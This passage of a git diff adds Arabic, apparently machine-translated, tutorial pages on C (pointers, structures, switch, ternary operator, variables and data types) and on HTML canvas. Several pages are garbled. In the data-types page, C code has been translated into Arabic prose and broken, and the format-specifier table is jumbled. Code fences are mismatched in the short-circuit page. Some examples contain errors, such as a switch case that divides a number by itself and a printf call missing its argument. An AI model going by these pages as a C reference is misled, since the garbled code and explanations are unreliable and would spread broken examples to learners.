+    const int *ptr = &i;    /* ptr is pointer to constant */ 
+ 
+    printf("ptr: %d\n", *ptr); 
+    *ptr = 100;        /* error: object pointed cannot be modified 
+                     using the pointer ptr */ 
+ 
+    ptr = &j;          /* valid */ 
+    printf("ptr: %d\n", *ptr); 
+ 
+    return 0; 
+ } 
+` 
+
+# مؤشر ثابت للمتغير
+
+في هذا يمكننا تغيير قيمة المتغير الذي يشير إليه المؤشر. ولكن لا يمكننا تغيير المؤشر للإشارة إليه متغير آخر.
+
+ `#include <stdio.h> 
+ int main(void) 
+ { 
+   int i = 10; 
+   int j = 20; 
+   int *const ptr = &i;    /* constant pointer to integer */ 
+ 
+   printf("ptr: %d\n", *ptr); 
+ 
+   *ptr = 100;    /* valid */ 
+   printf("ptr: %d\n", *ptr); 
+ 
+   ptr = &j;        /* error */ 
+   return 0; 
+ } 
+` 
+
+# مؤشر ثابت لثابت
+
+الإعلان أعلاه هو مؤشر ثابت للمتغير الثابت مما يعني أنه لا يمكننا تغيير القيمة التي يشير إليها المؤشر وكذلك لا يمكننا توجيه المؤشر إلى متغير آخر.
+
+ `#include <stdio.h> 
+ 
+ int main(void) 
+ { 
+    int i = 10; 
+    int j = 20; 
+    const int *const ptr = &i; /* constant pointer to constant integer */ 
+ 
+    printf("ptr: %d\n", *ptr); 
+ 
+    ptr = &j;            /* error */ 
+    *ptr = 100;        /* error */ 
+ 
+    return 0; 
+ } 
+` 
+
+# قبل أن تذهب ...
+
+## مراجعة
+
+*   المؤشرات هي متغيرات ، ولكن بدلاً من تخزين قيمة ، فإنها تخزن موقع ذاكرة.
+*   `*` و `&` تستخدم للوصول إلى القيم في مواقع الذاكرة والوصول إلى مواقع الذاكرة ، على التوالي.
+*   المؤشرات مفيدة لبعض الميزات الأساسية لـ C.
+
+# مؤشر مقابل صفيف في C
+
+في أغلب الأحيان ، يمكن التعامل مع الوصول إلى المؤشر والمصفوفة على أنها تعمل بنفس الطريقة ، أما الاستثناءات الرئيسية فهي:
+
+1) مشغل sizeof
+
+*   إرجاع `sizeof(array)` مقدار الذاكرة المستخدمة من قبل كافة العناصر في الصفيف
+*   يسترد `sizeof(pointer)` فقط مقدار الذاكرة المستخدمة من قبل متغير المؤشر نفسه
+
+2) و المشغل
+
+*   & array هو اسم مستعار لصفيف \[0\] وإرجاع عنوان العنصر الأول في الصفيف
+*   ويعيد المؤشر عنوان المؤشر
+
+3) تهيئة سلسلة حرفية لصفيف الحروف
+
+*   يعيّن `char array[] = “abc”` العناصر الأربعة الأولى في الصفيف إلى "a" و "b" و "c" و "\\ 0"
+*   `char *pointer = “abc”` يحدد المؤشر إلى عنوان السلسلة "abc" (التي يمكن تخزينها في ذاكرة القراءة فقط وبالتالي غير قابلة للتغيير)
+
+4) يمكن تعيين متغير مؤشر قيمة بينما لا يمكن أن يكون متغير الصفيف.
+
+ `    int a[10]; 
+    int *p; 
+    p = a; /*legal*/ 
+    a = p; /*illegal*/ 
+` 
+
+5) يسمح الحساب على متغير المؤشر.
+
+ `    p++; /*Legal*/ 
+    a++; /*illegal*/ 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/c/short-circuit-evaluation/index.md b/client/src/guide/arabic/c/short-circuit-evaluation/index.md
new file mode 100644
index 0000000000..f49fc638b5
--- /dev/null
+++ b/client/src/guide/arabic/c/short-circuit-evaluation/index.md
@@ -0,0 +1,60 @@
+---
+title: Short-Circuit Evaluation
+localeTitle: تقييم الدوائر القصيرة
+---
+# تقييم الدوائر القصيرة
+
+يتكون التقييم Short-Circuit من فحص أو تنفيذ الوسيطة الثانية فقط إذا كانت الوسيطة الأولى غير كافية لتحديد قيمة التعبير.
+
+يمكنك إجراء تقييم للدارة القصيرة باستخدام && و || العاملين.
+
+## مثال مع && operator:
+
+ `  canOpenFile(filename) && openFile(filename); // If you can open the file then open it. 
+` 
+
+المثال أعلاه مكافئ لما يلي:
+
+ `  if ( canOpenFile(filename) ) { 
+    openFile(filename); 
+  } 
+` 
+
+## مثال مع || المشغل أو العامل:
+
+ `  isServerOn || startServer(); // If the server is not on then start it. 
+ ``` 
+ The example above is equivalent to: 
+ 
+ ```c 
+  if ( !isServerOn ) { 
+    startServer(); 
+  } 
+ ``` 
+ 
+ ## Keep it all together in real example 
+ 
+ ```c 
+ #include <stdio.h> 
+ #include <stdlib.h> 
+ 
+ char *getName(); 
+ 
+ int main(int argc, char *argv[]) { 
+    // Get first argument passed via terminal 
+    char *name = argv[1]; 
+ 
+    // If name is not passed via terminal then print message and then get the name 
+    name || printf("Please give me your name:") && (name = getName()); 
+ 
+    printf("Hello %s\n", name); 
+ } 
+ 
+ char *getName() { 
+    // Allocate memory 
+    char *name = malloc(30); 
+ 
+    scanf("%s", name); 
+    return name; 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/c/structures/index.md b/client/src/guide/arabic/c/structures/index.md
new file mode 100644
index 0000000000..ec35123a12
--- /dev/null
+++ b/client/src/guide/arabic/c/structures/index.md
@@ -0,0 +1,73 @@
+---
+title: Structures
+localeTitle: الهياكل
+---
+## الهياكل في C
+
+### ما هي الهياكل؟
+
+*   **البنية** هي نوع معرف من قبل المستخدم في C. إنه يستند إلى فكرة أن أوقات معينة ، مبرمج يريد إدارة ليس فقط أنواع البيانات البدائية ولكن أيضا أنواع البيانات المعرفة من قبل المبرمج.
+*   يتكون **الهيكل** ، كما يوحي الاسم ، من أنواع مختلفة من البيانات الأولية ، مثل الأحرف والأعداد الصحيحة ومتغيرات النقطة العائمة والمصفوفات وما إلى ذلك.
+*   يمكن أن يحتوي **الهيكل** أيضًا على العديد من أنواع البيانات الأخرى المعرفة بواسطة المستخدم. سوف تتعلم عن البنى المتداخلة التالية.
+*   تشكل **الهياكل** أساس **_البرمجة الشيئية_** حيث أن مفهوم _الطبقة_ ينشأ من البنى.
+
+### الكلمة الأساسية
+
+*   يمكن أن تساعدنا الكلمة الأساسية `struct` في تعريف نوع بيانات المعرفة من قبل المستخدم.
+
+ `struct StudentRecord 
+ { 
+  char Name[20]; 
+  int Class; 
+  char Address[30]; 
+  char Phone[10]; 
+ }; 
+` 
+
+*   يمكننا أيضًا تحديد **بنية** باستخدام **الرموز المميزة لـ typedef** مما يجعل تهيئة البنية لاحقًا في برنامجنا أسهل.
+
+ `typedef struct StudentRecord 
+ { 
+  char Name[20]; 
+  int Class; 
+  char Address[30]; 
+  char Phone[10]; 
+ }Record; 
+` 
+
+في `main()` ، يتم تعريف **StudentRecord** نوع البيانات المعرفة من قبل المستخدم على النحو التالي:
+
+ `int main(void) 
+ { 
+  struct StudentRecord student1; 
+ } 
+` 
+
+وباستخدام **typedef** ، يبدو نوع البيانات المعرفة من قبل المستخدم:
+
+ `int main(void) 
+ { 
+  Record student1; 
+ } 
+` 
+
+للوصول إلى البيانات المخزنة في **student1** ، نستخدم عامل نقطة ( **.** ) للوصول إلى محتويات متغير نوع البنية.
+
+ `int main(void) 
+ { 
+  struct StudentRecord student1; 
+  student1.Class = 10; 
+  printf("Enter Name of Student\n"); 
+  scanf("%s",&student1.Name); 
+  printf("Enter Address of Student\n"); 
+  scanf("%s",&student1.Address); 
+  printf("Enter Phone Number of Student\n"); 
+  scanf("%s",&student1.Phone); 
+  // Printing the Data 
+  printf("Name: %s \n, Class: %d \n, Address: %s \n, Phone: %s \n",student1.Name, student1.Class, student1.Address, student1.Phone); 
+ } 
+` 
+
+### معلومات اكثر
+
+https://www.tutorialspoint.com/cprogramming/c\_structures.htm
\ No newline at end of file
diff --git a/client/src/guide/arabic/c/switch/index.md b/client/src/guide/arabic/c/switch/index.md
new file mode 100644
index 0000000000..10b087ea55
--- /dev/null
+++ b/client/src/guide/arabic/c/switch/index.md
@@ -0,0 +1,87 @@
+---
+title: Switch Case
+localeTitle: تبديل القضية
+---
+# تبديل القضية
+
+يشبه عبارة switch جملة من `if statements` .
+
+إنها قائمة بالإمكانيات ، مع إجراء لكل احتمال ، وإجراء افتراضي اختياري ، في حالة عدم تقييم أي شيء آخر إلى true.
+
+نحن الخروج من التبديل عن طريق `break` . إذا لم يتم الوصول إلى بيان `break` قبل بداية الحالة التالية ، فسينتهي التنفيذ ويبدأ تنفيذ الشفرة في الحالة التالية.
+
+## بناء الجملة من التبديل ... القضية
+
+ ```c
+ switch (n) 
+ { 
+    case constant1: 
+        // code to be executed if n is equal to constant1; 
+        break; 
+ 
+    case constant2: 
+        // code to be executed if n is equal to constant2; 
+        break; 
+        . 
+        . 
+        . 
+    default: 
+        // code to be executed if n doesn't match any constant 
+ } 
+```
+
+## مثال
+
+باستخدام عبارة switch عبر عدة if / else يمكن أن تساهم في زيادة السرعة والقابلية للقراءة.
+
+ `# include <stdio.h> 
+ 
+ int main() { 
+ 
+    char operator; 
+    double firstNumber,secondNumber; 
+ 
+    printf("Enter an operator (+, -, *, /): "); 
+    scanf("%c", &operator); 
+ 
+    printf("Enter two operands: "); 
+    scanf("%lf %lf",&firstNumber, &secondNumber); 
+ 
+    switch (operator) { 
+        case '+': 
+            printf("%.1lf + %.1lf = %.1lf",firstNumber, secondNumber, firstNumber+secondNumber); 
+            break; 
+        case '-': 
+            printf("%.1lf - %.1lf = %.1lf",firstNumber, secondNumber, firstNumber-secondNumber); 
+            break; 
+        case '*': 
+            printf("%.1lf * %.1lf = %.1lf",firstNumber, secondNumber, firstNumber*secondNumber); 
+            break; 
+        case '/': 
+            printf("%.1lf / %.1lf = %.1lf",firstNumber, secondNumber, firstNumber/firstNumber); 
+            break; 
+        // Operator is doesn't match any case constant (+, -, *, /) 
+        default: 
+            printf("Error! operator is not correct"); 
+    } 
+ 
+    return 0; 
+ } 
+` 
+
+## انتاج:
+
+ `-> Enter an operator (+, -, *,): - 
+ -> Enter two operands: 32.5 
+ -> 12.4 
+ -> 32.5 - 12.4 = 20.1 
+` 
+
+## مراجعة: التبديل ضد إذا كان آخر
+
+*   تحقق من اختبار التعبير: يمكن لبيان if-then-else أن يختبر التعبيرات على أساس نطاقات من القيم أو الشروط ، في حين يختبر بيان التبديل تعبيرات تستند فقط إلى عدد صحيح واحد أو قيمة تعدادية أو كائن سلسلة.
+*   التبديل بشكل أفضل للتفرع متعدد المسارات: عندما يقوم المترجم بتجميع بيان التبديل ، سيقوم بفحص كل من ثوابت الحالة وإنشاء "جدول قفزة" يستخدمها لتحديد مسار التنفيذ اعتمادًا على قيمة التعبير. لذلك ، إذا كنا بحاجة إلى الاختيار من بين مجموعة كبيرة من القيم ، فسيتم تشغيل عبارة التبديل بشكل أسرع من المنطقي المكافئ المشفر باستخدام تسلسل if-elses. يستطيع المحول البرمجي القيام بذلك لأنه يعلم أن ثوابت الحالة هي جميعها من نفس النوع ويجب ببساطة المقارنة بينها وبين تعبير التبديل ، بينما في حالة وجود تعبيرات ، لا يمتلك المجمع أي معرفة من هذا القبيل.
+*   if-else أفضل للقيم المنطقية: إذا كانت الفروع الشرطية ، إذا كانت أخرى ، رائعة بالنسبة للظروف المتغيرة التي تتحول إلى قيمة منطقية ، في حين أن عبارات المحول تعتبر كبيرة بالنسبة لقيم البيانات الثابتة.
+*   السرعة: قد يتبين أن بيان التبديل أسرع من العدد المتوفر إذا كان عدد الحالات جيدًا. إذا لم يكن هناك سوى عدد قليل من الحالات ، فقد لا يؤثر ذلك على السرعة في أي حال. تفضل التبديل إذا كان عدد الحالات أكثر من 5 غير ذلك ، يمكنك استخدام if-else أيضًا.
+*   إذا كان رمز التبديل يحتوي على أكثر من خمسة عناصر ، فإنه يتم تنفيذه باستخدام جدول بحث أو قائمة تجزئة. وهذا يعني أن جميع العناصر تحصل على وقت الوصول نفسه ، مقارنةً بقائمة ما إذا: s حيث يستغرق آخر عنصر وقتًا أطول للوصول إليه نظرًا لتقييم كل حالة سابقة أولاً.
+*   الوضوح في سهولة القراءة: يبدو التبديل أكثر نظافة عندما يتعين عليك دمج الحالات. Ifs عرضة للأخطاء أيضا. يمكن أن يفسد لك بيان آخر في الفوضى. كما أن إضافة / إزالة العلامات أسهل مع مفتاح التبديل ويجعل من السهل تغيير التعليمات البرمجية الخاصة بك وصيانتها.
\ No newline at end of file
diff --git a/client/src/guide/arabic/c/ternary-operator/index.md b/client/src/guide/arabic/c/ternary-operator/index.md
new file mode 100644
index 0000000000..b9fd9017b0
--- /dev/null
+++ b/client/src/guide/arabic/c/ternary-operator/index.md
@@ -0,0 +1,73 @@
+---
+title: Ternary Operator
+localeTitle: مشغل ثلاثي
+---
## مشغل ثلاثي
+
+يستخدم المبرمجون المشغلين الثلاثيين في C من أجل اتخاذ القرار في مكان البيانات الشرطية **إذا كان الأمر** **آخر** . المشغل الثلاثي هو مشغل يأخذ ثلاث حجج. الحجة الأولى هي حجة المقارنة ، والثاني هو النتيجة على المقارنة الحقيقية ، والثالث هو النتيجة على مقارنة خاطئة. إذا كان يساعدك على التفكير في المشغل كطريقة مختصرة لكتابة عبارة if-else.
+
+في ما يلي مثال بسيط لصنع القرار باستخدام **if** and **else** :
+
+ `int a = 10, b = 20, c; 
+ 
+ if (a < b) { 
+    c = a; 
+ } 
+ else { 
+    c = b; 
+ } 
+ 
+ printf("%d", c); 
+` 
+
+يأخذ هذا المثال أكثر من 10 أسطر ، لكن هذا ليس ضروريًا. يمكنك كتابة البرنامج أعلاه في 3 أسطر فقط من الشفرة باستخدام **المشغل الثلاثي** .
+
+### بناء الجملة
+
+`condition ? value_if_true : value_if_false`
+
+يثبت البيان على statement\_1 إذا كانت الشرط صحيحًا ، و statement\_2 على خلاف ذلك.
+
+فيما يلي المثال أعلاه الذي تمت إعادة كتابته لاستخدام المشغل الثلاثي:
+
+ `int a = 10, b = 20, c; 
+ 
+ c = (a < b) ? a : b; 
+ 
+ printf("%d", c); 
+` 
+
+يجب أن يكون إخراج المثال:
+
+ `10 
+` 
+
+تم تعيين `c` يساوي `a` ، لأن الشرط `a<b` كان صحيحًا.
+
+هذا يبدو بسيطا جدا ، أليس كذلك؟ لاحظ أن `value_if_true` و `value_if_false` يجب أن يكونا من نفس النوع ، ولا يمكن أن يكونا عبارات كاملة ولكن مجرد تعبيرات.
+
+يمكن أن يتداخل المشغل الثلاثي تمامًا مثل عبارات if-else المتداخلة. فكر في عبارة if-else المتداخلة التالية:
+
+ `int a = 1, b = 2, ans; 
+ if (a == 1) { 
+    if (b == 2) { 
+        ans = 3; 
+    } else { 
+        ans = 5; 
+    } 
+ } else { 
+    ans = 0; 
+ } 
+ printf ("%d\n", ans); 
+` 
+
+إليك الشفرة الموضحة أعلاه التي تمت إعادة كتابتها باستخدام المشغل الثلاثي المتداخل:
+
+ `int a = 1, b = 2, ans; 
+ ans = (a == 1 ? (b == 2 ? 3 : 5) : 0); 
+ printf ("%d\n", ans); 
+` 
+
+يجب أن يكون إخراج كل من الشفرين المذكورين أعلاه كما يلي:
+
+ `3 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/c/variables-and-basic-datatypes/index.md b/client/src/guide/arabic/c/variables-and-basic-datatypes/index.md
new file mode 100644
index 0000000000..760f071d9c
--- /dev/null
+++ b/client/src/guide/arabic/c/variables-and-basic-datatypes/index.md
@@ -0,0 +1,98 @@
+---
+title: Variables and Basic Data Types 
+localeTitle: المتغيرات وأنواع البيانات الأساسية
+---
+# المتغيرات وأنواع البيانات الأساسية
+
+## ما هو المتغير؟
+
+متغيرات تخزين القيم. بشكل أساسي ، تعطي اسمًا لقيمة مخزنة ، والتي تريد استخدامها لاحقًا. من المهم ملاحظة أن أحد المتغيرات يمكنه تخزين قيمة واحدة في وقت واحد. ولكن في وقت لاحق ، يمكنك تغيير القيم المخزنة لاحقًا في الشفرة ويمكنك أيضًا تعيين قيمة أحد المتغيرات إلى آخر.
+
+> عند إنشاء متغير ، يطلق عليه `declaring` ، وعندما تعطيه قيمة للتخزين ، فإنه يطلق عليه `assignment` . إذا أعطيت المتغير قيمة في نفس وقت الإعلان عنه ، فسيتم تسميته `initializing` . C هو صعب للغاية حول كيفية إنشاء المتغيرات وما تخزن فيه. C هي لغة `strongly typed` ، مما يعني أنه عليك تحديد نوع واسم كل متغير عندما تعلنه. يمكن أن يتكون اسم المتغير من أحرف ، وأرقام ، وحرف الشرطة السفلية.
+
+## أنواع أساسية
+
+يوجد في المعيار C أربعة أنواع من البيانات الأساسية المهمة: `int` ، و `float` ، و `double` ، و `char` .
+
+### الأعداد الصحيحة
+
+بالنسبة لقيم الأعداد الكاملة ، يتم استخدام الكلمة الأساسية `int` (اختصارًا لعدد صحيح). دعونا ننظر في برنامج بسيط:
+
+ `#include <stdio.h> 
+ int main(void){ 
+ 
+ int a; // Declaring a variable which stores integer values and is called 'a' 
+ int b = 5; //Initializing an int called 'b' with the value 5 
+ a = 6; // Assigning the value 6 to the variable 'a' 
+ int c; 
+ c = a + b; // Assign the sum of 'a' and 'b' to the variable c 
+ int d = a + c; //But we could also initialize it right away. 
+ 
+ //Some shiny things 
+ printf("%d \n", c); 
+ printf("%d %d \n", a, b); 
+ 
+ return 0; 
+ } 
+` 
+
+دعونا نكسر ما فعلناه تحت `Some shingy things` :
+
+ `printf("%d \n", c); 
+` 
+
+لطباعة قيمة المتغير `c` ، يمكنك استخدام الدالة `printf()` . لاحظ أن `%d` مضمن في علامات الاقتباس المزدوجة. هذا يخبر الكمبيوتر أن تتوقع قيمة **د** ecimal ، وأنه بعد الفاصلة.
+
+ `printf("%d %d \n", a, b); 
+` 
+
+يمكنك طباعة عدة أعداد صحيحة بالترتيب الموضح بعد الفاصلة.
+
+لاحظ أنه عند محاولة تخزين قيمة عشرية في `int` ، ستحصل فقط على جزء منه ، لأنه سيتم اقتطاعه.
+
+يمكننا أيضا كتابة البرنامج بالطريقة أدناه:
+
+ `#include <stdio.h> 
+ int main(void){ 
+ 
+ int a=3,b=4,c; // we can also assign and declare the values in 1 line 
+ c = a + b; // Assign the sum of 'a' and 'b' to the variable c 
+ 
+ printf("%d %d \n", a, b); 
+ printf("%d \n", c); 
+ 
+ return 0; 
+ } 
+` 
+
+### يطفو ويضاعف
+
+لتخزين القيم العشرية، يمكنك استخدام `float` و `double` الكلمات الرئيسية. والفرق بينهما هو الدقة ، `double` يحتوي على 13 رقمًا بينما يحتوي `float` على حوالي 7 ، ولكن هذا يختلف من وحدة المعالجة المركزية إلى وحدة المعالجة المركزية. \`\` \`C #تتضمن int main (void) { ضعف a = 3.23 ؛ printf ("المتغير a له القيمة:٪ f \\ n"، a)؛ // يمكن طباعة القيم المزدوجة بـ٪ f العودة 0 }
+
+ ``### Characters 
+ You can store a single character with the `char` keyword. You will learn about storing multiple characters later, when we introduce `arrays`. Let's look at some code: 
+`` 
+
+C
+
+# تتضمن
+
+int main (void) { char a = 'A'؛ / / تهيئة حرف char بقيمة "A" ، لاحظ علامات الاقتباس البسيطة! printf ("الحرف was:٪ c"، a) // يمكن طباعة الأحرف بـ٪ c العودة 0 }
+
+ ``## The Boolean type 
+ Later in C a new type was added, called `bool`. Bool stores true/false values, which comes in handy when you have to make decisions in the code. To use it though, you have to inlcude another header next to `<stdio.h>` called `<stdbool.h>`. 
+`` 
+
+C
+
+# تتضمن
+
+# تتضمن
+
+int main (void) { bool a = true؛ bool b = false؛
+
+العودة 0 } \`\` \`
+
+## تعليقات
+
+يخبر نوع متغير المحول البرمجي مقدار المساحة لإنشاء (تخصيص) للمتغير. الآن لقد رأيت أنواع البيانات الأساسية ، ولكن هناك معدّلات لهم لتعديل مقدار المساحة المخصصة لمتغير. يمكن أن تقوم المعدّلات بزيادة القيم الافتراضية أو تقليلها. يحتوي C على 5 معدّلات: `short` ، `long` ، `signed` ، `unsigned` ، `long long` . وهي مسبوقة للأنواع الأساسية.
\ No newline at end of file
diff --git a/client/src/guide/arabic/c/variables/index.md b/client/src/guide/arabic/c/variables/index.md
new file mode 100644
index 0000000000..1cbdd2c0cc
--- /dev/null
+++ b/client/src/guide/arabic/c/variables/index.md
@@ -0,0 +1,102 @@
+---
+title: Variables in C
+localeTitle: المتغيرات في C
+---
+# باستخدام المتغيرات في C
+
+الآن أنت تعرف ما هي خياراتك مع أنواع البيانات. دعونا نطبقها مع مثال بسيط هنا:
+
+ `#include <stdio.h> 
+ 
+ int main(void) { 
+    int my_first_variable = 12; 
+    double my_second_variable = 983.9; 
+ 
+    printf("My int is %i\n", my_first_variable); 
+    printf("My double is %f\n", my_second_variable); 
+ 
+    return 0; 
+ } 
+` 
+
+هناك الكثير من الأشياء الجديدة لإلقاء نظرة هنا! كنت قد رأيت بالفعل `#include` `int main(void)` ، لذلك هذا لا يستحق المسكن. ما هو الجديد هو `int my_first_variable = 12;` .
+
+من قبل ، يجب تذكر أن `int` تسمح لنا بتخزين قيم صحيحة. بعد كلمة `int` تأتي `my_first_variable` . هذا متغير - يمكنه تخزين القيم ، ويمكنك تغيير القيم التي يتم تخزينها فيه. نبدأ بإعلان ، حيث نخبر الكمبيوتر أن القيمة الأولية لهذا المتغير هي 12. من المهم أن تخبر الكمبيوتر أننا نريد وجود متغير قبل أن نحاول استخدامه. خلاف ذلك ، لن يكون المتغير موجودًا ، ولن يعرف المحول البرمجي ما يجب فعله عند محاولة إخباره باستخدام متغير غير موجود.
+
+السطر التالي `double my_second_variable = 983.9` . يجب أن يوضح الهيكل المماثل من قبل أنك تخبر الكمبيوتر بإنشاء متغير يسمى "المتغير _الثاني الخاص_ بي" يمكنه الاحتفاظ بالقيم `double` ، وتريد تعيينه إلى 983.9.
+
+الاسم الفعلي للمتغير ليس مهمًا. يمكن أن يكون ما تشاء ، طالما أنه ليس أيًا من الكلمات التي احتفظ بها C للغة الفعلية ، ولا يمكن أن يتضمن سوى الأرقام والحروف ، وليس أي مسافات. لا يمكن أن يبدأ اسم المتغير برقم. بالمقابل ، يستخدم C أسماء متغيرات واضحة تستبدل الشرطات السفلية للمسافات. يمكن أيضًا أن يكون المتغير camelCase ، مثل هذا:
+
+ `double myFirstVariable = 983.9 
+` 
+
+في الواقع ، سيكون بهذه الطريقة بلغات أخرى. ومع ذلك ، في C لا يتم ذلك عادة.
+
+بعد إنشاء المتغيرات ، نبدأ بالفعل في استخدامها:
+
+ `    printf("My int is %i\n", my_first_variable); 
+    printf("My double is %f\n", my_second_variable); 
+` 
+
+هذا هو نفس printf () الذي استخدمته سابقًا ، ولكنه يحتوي الآن على بعض الميزات المختلفة. أولاً ، لاحظ أن هناك الآن شيئين ضمن القوس: النص المراد طباعته على الشاشة والمتغير. لاحظ أيضًا `%i` و `%f` . ويطلق على هذا اسم _محدد النسق_ ، ويستخدم لتحديد الشكل الذي يجب طباعته. وعندما تصادف printf () واحدة من هذه ، سيحاول إدخال المتغير المعطى في تلك النقطة.
+
+نظرًا لأن أنواع البيانات الخاصة بمتغيراتنا يتم تمثيلها في جهاز كمبيوتر بطرق مختلفة ، فهناك عدة طرق مختلفة لعرضها C:
+
+نوع البيانات | محدد المواصفات ---------------- | ------------------ شار | ٪ c أو٪ hhi للطباعة كرقم عند التوقيع ،٪ h. للطباعة كرقم عند عدم التوقيع قصير ٪ hi ، أو٪ hu عند عدم التوقيع int | يمكن أيضًا استخدام٪ i،٪ d طويلة ٪ li ، أو٪ lu عند عدم التوقيع طويلة طويلة | ٪ lli أو٪ llu عند عدم التوقيع تعويم | ٪F مزدوج | ٪F مزدوجة طويلة | ٪ LF غير الموقعة int | ٪ لو
+
+من أجل طباعة متغير ، يجب أن يكون لديك محدد تنسيق ، ثم متغير لتنسيق. يمكن أن تكون العديد من محددات التنسيق معًا في نفس printf () ، أيضًا:
+
+ `    printf("%i and %f", my_first_variable, my_second_variable); 
+` 
+
+لفحص متغير ، يجب أن يكون لديك محدد تنسيق ، ثم عنوان المتغير (يشار إليه بإضافة علامة "&" قبل اسم المتغير) ليتم استخدامه كمدخل. يمكن أن تكون عدة محددات التنسيق معًا في نفس scanf () ، أيضًا:
+
+ `    scanf("%i and %f", &my_first_variable, &my_second_variable); 
+` 
+
+الآن دعونا نبدأ بتغيير القيم داخل المتغيرات الخاصة بنا. إليك الأمثلة نفسها من قبل ، لكن مع بضعة أسطر أخرى:
+
+ `#include <stdio.h> 
+ 
+ int main(void) { 
+    int my_first_variable = 12; 
+    double my_second_variable = 983.9; 
+ 
+    printf("My int is %i\n", my_first_variable); 
+    printf("My double is %f\n", my_second_variable); 
+ 
+    my_second_variable = -18.2 + my_first_variable; 
+ 
+    printf("Now my double is %f\n", my_second_variable); 
+ 
+    return 0; 
+ } 
+` 
+
+يوجد الآن سطر يقرأ `my_second_variable = -18.2 + my_first_variable;` . تعين هذه المعادلة قيمة جديدة للمتغير الموجود على اليسار. في كل مرة يتم فيها تعيين قيمة جديدة ، يجب أن يكون المتغير الذي يتم تعيينه إليه على اليسار دائمًا ، ويجب أن يكون دائمًا موجودًا بمفرده. سيجد برنامجك نتيجة للجانب الأيمن ، ويعينه للمتغير الموجود على اليسار. في هذه الحالة ، أضفنا _أول_ متغير لي إلى -18.2. المتغير _الأول_ هو 12 ، و -18.2 + 12 هو -6.2 ، بحيث يصبح المتغير _الثاني_ -6.2 بعد هذه الخطوة. سوف نحصل على المزيد من الرياضيات في القليل!
+
+## أكثر قليلا على يطفو وزوجي
+
+عند طباعة العوامات والتضاعف ، نحتاج في كثير من الأحيان إلى الدقة بعد النقطة العشرية. اذا كان لدينا
+
+ `float var1 = 15.3; 
+ printf("%f"); 
+` 
+
+نحصل على `15.300000` . لذلك ، لنفترض أننا نريد مكانين فقط بعد العلامة العشرية لتقديم `15.30` . سنستخدم٪ .2f. لاحظ أننا نستخدم الفاصلة العشرية أمام عدد المنازل العشرية التي نرغب فيها متبوعة بالعلامة f ، ونشير إلى أننا نريد طباعة طافية أو مزدوجة.
+
+# أسماء للمتغيرات
+
+*   الأحرف الوحيدة التي يمكنك استخدامها في الأسماء هي الأحرف الأبجدية والأرقام الرقمية و حرف تسطير أسفل السطر (\_).
+*   لا يمكن أن يكون الحرف الأول في الاسم رقمًا رقميًا.
+*   الأحرف الكبيرة تُعتبر مميزة عن الأحرف الصغيرة.
+*   لا يمكنك استخدام الكلمة C للإسم.
+
+# قبل أن تذهب ...
+
+## مراجعة
+
+*   يجب إنشاء المتغيرات قبل استخدامها.
+*   يتم إنشاء المتغيرات بالتنسيق التالي: `datatype variable_name = number` .
+*   محددات تنسيق تسمح للمتغيرات التي سيتم طباعتها.
+*   تسمح علامة equations `=` بتعيين القيم للمتغيرات.
\ No newline at end of file
diff --git a/client/src/guide/arabic/canvas/animation-in-canvas/index.md b/client/src/guide/arabic/canvas/animation-in-canvas/index.md
new file mode 100644
index 0000000000..ea73ed8202
--- /dev/null
+++ b/client/src/guide/arabic/canvas/animation-in-canvas/index.md
@@ -0,0 +1,45 @@
+---
+title: Animation
+localeTitle: الرسوم المتحركة
+---
+## الرسوم المتحركة في قماش
+
+لتحريك الأشياء في `canvas` ، استخدم `window.requestAnimationFrame` لإعداد حلقة رسم.
+
+ `function draw() { 
+  /* code goes here */ 
+  window.requestAnimationFrame(draw); 
+ } 
+ window.requestAnimationFrame(draw); 
+` 
+
+سيؤدي الرمز أدناه إلى تشغيل وظيفة `draw` كل إطار.
+
+`canvas` لا يوجد لديه وظائف خاصة تسمح للرسوم المتحركة. عليك فقط أن تستخدم للكتابة في حلقات الرسوم المتحركة. نموذج التصميم المعتاد لحلقات الرسوم المتحركة هو تحديث الحالة ، ثم رسم الحالة. على سبيل المثال ، لرسم مربع يتحرك عبر الشاشة:
+
+ `canvas = document.getElementById("canvas"); 
+ ctx = canvas.getContext('2d'); 
+ 
+ var x=0; 
+ var y=50; 
+ function draw() { 
+  // reset canvas 
+  ctx.clearRect(0, 0, canvas.width, canvas.height); 
+  //update state 
+  x+=1; 
+ 
+  // render state 
+  ctx.beginPath(); 
+  ctx.rect(x, y, 50, 50); 
+  ctx.fill(); 
+ 
+  window.requestAnimationFrame(draw); 
+ } 
+ window.requestAnimationFrame(draw); 
+` 
+
+لرؤية هذا المفهوم في العمل ، راجع صفحة " [الجسيم سيم](/articles/canvas/particle-sim) ".
+
+#### معلومات اكثر:
+
+*   [MDN Canvas API](https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API)
\ No newline at end of file
diff --git a/client/src/guide/arabic/canvas/basic-usage/index.md b/client/src/guide/arabic/canvas/basic-usage/index.md
new file mode 100644
index 0000000000..fa2f092d50
--- /dev/null
+++ b/client/src/guide/arabic/canvas/basic-usage/index.md
@@ -0,0 +1,30 @@
+---
+title: Basic Usage
+localeTitle: الاستخدام الأساسي
+---
+## الاستخدام الأساسي من قماش
+
+عند استخدام لوحة الرسم القماشية ، ضع لوحة قماشية أولاً في المستند كعنصر.
+
+ `
+<canvas width="400" height="400" id="canvas"></canvas> 
+` 
+
+تتحكم خصائص `width` `height` في حجم اللوحة. تتحكم هذه السمات في حجم الرسم القماشي ، وليس الحجم المعروض الفعلي. راجع صفحة "أبعاد Canvas" لمزيد من المعلومات.
+
+لاستخدام `canvas` رسم ، يجب أولاً أن نأخذ العنصر من الصفحة كعنصر DOM ، ثم نحصل على سياق رسم منه.
+
+ `var canvas = document.getElementById("canvas"); 
+ var ctx = canvas.getContext('2d'); 
+` 
+
+سيتم إجراء جميع مكالمات الرسم بعد ذلك من كائن `ctx` . يمثل `ctx` سياق الرسم للكائن ، ويحتوي على معلومات حول مساحة الرسم ثنائية الأبعاد. كائن `canvas` هو عنصر DOM الفعلي. يسمح لنا التفاعل معها بالوصول إلى سمات مثل `width` `height` .
+
+هناك عدد قليل من سياقات الرسم المتاحة ، بما في ذلك `webgl` . تعد تقنية WebGL تقنية مختلفة تمامًا ، لذلك سنركز فقط على الرسم ثنائي الأبعاد.
+
+مسارات هي لبنة بناء في رسم `canvas` . راجع صفحة " [المسارات](/articles/canvas/paths) " لمعرفة المزيد.
+
+#### معلومات اكثر:
+
